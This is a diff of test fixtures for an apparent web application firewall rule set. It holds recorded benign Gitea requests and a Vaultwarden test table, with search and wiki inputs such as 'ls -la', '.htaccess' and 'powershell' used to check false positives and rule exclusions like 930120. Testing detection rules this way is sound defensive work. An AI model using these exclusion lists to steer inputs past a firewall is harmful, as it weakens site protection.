+{"method": "GET", "target": "/alice/-/packages?q=python3&type=container", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/-/packages?q=python3&type=container", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=0992a6293c77c3ef1f9a8d37b774deddcbef2e23&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522.htaccess%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
+{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=cf1f6e0dcb6e2685ce4ffcc1225d31c65cd64d26&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "GET", "target": "/alice/tools/src/branch/main/scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522scripts%252Finstall-script.sh%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "new_branch_name=docker-build"}
+{"method": "GET", "target": "/alice/tools/src/branch/docker-build/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
+{"method": "POST", "target": "/alice/tools/branches/delete?name=docker-build&page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylgvDcSqmeTmS8iNm", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "------WebKitFormBoundarylgvDcSqmeTmS8iNm--\r\n"}
+{"method": "GET", "target": "/alice/tools/branches?page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
+{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
+{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2Bfeat%252Fdocker-support%2Bwas%2Bsuccessfully%2Brenamed%2Bto%2Bfeat%252Fpython3-support."], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 180", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": "title=Python3+setup&content=Install+python3%2C+or+powershell+on+Windows.+Run+ls+-la+to+check+that+.htaccess+and+docker-compose.yml+are+there%2C+then+run+install-script.sh.&message="}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/powershell-scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/explore/repos?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}

internal/coreruleset/testdata/gitea-requests.txt

@@ -91,6 +91,17 @@
 /explore/organizations?q=docker-ci
 /api/v1/users/search?q=docker-ci
 
+# Searches of the repositories on a user's and an organisation's page, recorded
+# from gitea 1.27.3.
+/alice?tab=repositories&q=ls+-la&sort=recentupdate
+/alice?tab=repositories&q=python3&sort=recentupdate
+/alice?tab=repositories&q=powershell&sort=recentupdate
+/alice?tab=repositories&q=.htaccess&sort=recentupdate
+/acme?q=ls+-la&sort=recentupdate
+/acme?q=python3&sort=recentupdate
+/acme?q=powershell&sort=recentupdate
+/acme?q=.htaccess&sort=recentupdate
+
 # Pages, raw files and edit pages of files, and the API's call for their
 # contents.
 /owner/repo/src/branch/main/package.json

internal/coreruleset/vaultwarden_test.go

@@ -68,18 +68,53 @@ var vaultwardenNameFields = []vaultwardenField{
 		http.MethodPost, vaultwardenFinishSignUp, jsonBody,
 		`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
 	},
-	{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
-	{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
+	{
+		http.MethodPut,
+		vaultwardenProfile,
+		jsonBody,
+		`{"name":"VALUE","culture":"en-US"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenPassword,
+		jsonBody,
+		`{"masterPasswordHint":"VALUE"}`,
+	},
 	{
 		http.MethodPost, "/api/organizations", jsonBody,
 		`{"name":"VALUE","billingEmail":"billing@example.com"}`,
 	},
 	{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
-	{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
-	{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
-	{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
-	{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
-	{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
+	{
+		http.MethodPost,
+		vaultwardenOrganization + "/groups",
+		jsonBody,
+		`{"name":"VALUE"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSettings,
+		jsonBody,
+		`{"invitation_org_name":"VALUE"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSettings,
+		jsonBody,
+		`{"smtp_from_name":"VALUE"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSecurityKey,
+		jsonBody,
+		`{"id":1,"name":"VALUE"}`,
+	},
+	{
+		http.MethodPut,
+		vaultwardenSecurityKey,
+		jsonBody,
+		`{"id":1,"name":"VALUE"}`,
+	},
 }
 
 // vaultwardenAddressFields hold every field of a body that skips 930120,
@@ -91,8 +126,18 @@ var vaultwardenAddressFields = []vaultwardenField{
 		http.MethodPost, "/identity/connect/token", formData,
 		"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
 	},
-	{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
